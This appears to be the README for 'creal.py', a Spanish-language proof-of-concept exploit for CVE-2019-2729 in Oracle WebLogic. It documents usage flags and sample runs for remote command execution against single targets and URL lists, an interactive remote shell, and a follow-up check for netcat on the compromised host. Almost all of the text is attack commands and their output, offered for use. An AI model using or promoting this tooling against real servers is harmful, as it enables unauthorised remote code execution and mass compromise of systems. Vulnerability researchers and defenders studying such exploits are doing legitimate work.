CVE-2019-2729 - creal

Prueba de concepto para explotar CVE-2019-2729 en WebLogic

Uso del Exploit

python3 creal.py -h
usage: creal.py [-h] [-u URL] [-f F] [-c CMD] [-s SH]

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     target url
  -f F, --file F        url file
  -c CMD, --command CMD
                        command
  -s SH, --shell SH     url to connect

Explotar un solo objetivo:

$ python3 creal.py -u http://IP:PORT -c id

 ____ ____  _____ ____  _
/   _Y  __\/  __//  _ \/ \
|  / |  \/||  \  | / \|| |
|  \_|    /|  /_ | |-||| |_/\
\____|_/\_\\____\\_/ \\\____/
            </coded by Luchoane>

[++++++] VULNERABLE: http://xxx.xxx.xxx.xxx:xxxx

uid=500(UID) gid=500(GID) groups=500(GROUP)

Explotar lista de URLs

$ python3 creal.py -f list.txt -c id

 ____ ____  _____ ____  _
/   _Y  __\/  __//  _ \/ \
|  / |  \/||  \  | / \|| |
|  \_|    /|  /_ | |-||| |_/\
\____|_/\_\\____\\_/ \\\____/
            </coded by Luchoane>

[++++++] VULNERABLE: http://xxx.xxx.xxx.xxx:xxxx

uid=500(UID) gid=500(GID) groups=500(GROUP)

[-] NOT VULNERABLE: http://xxx.xxx.xxx.xxx:xxxx
[!] There was an error connecting!

--------------------------
Objetivos vulnerables escaneados:
[+] http://xxx.xxx.xxx.xxx:xxxx

Shell interactivo

$ python3 creal.py -s http://IP:PORT

 ____ ____  _____ ____  _
/   _Y  __\/  __//  _ \/ \
|  / |  \/||  \  | / \|| |
|  \_|    /|  /_ | |-||| |_/\
\____|_/\_\\____\\_/ \\\____/
            </coded by Luchoane>

Welcome to the interactive shell for: http://xxx.xxx.xxx.xxx:xxxx
User: USER

> id
uid=500(UID) gid=500(GID) groups=500(GROUP)

> whoami
USER

> which nc
/usr/bin/nc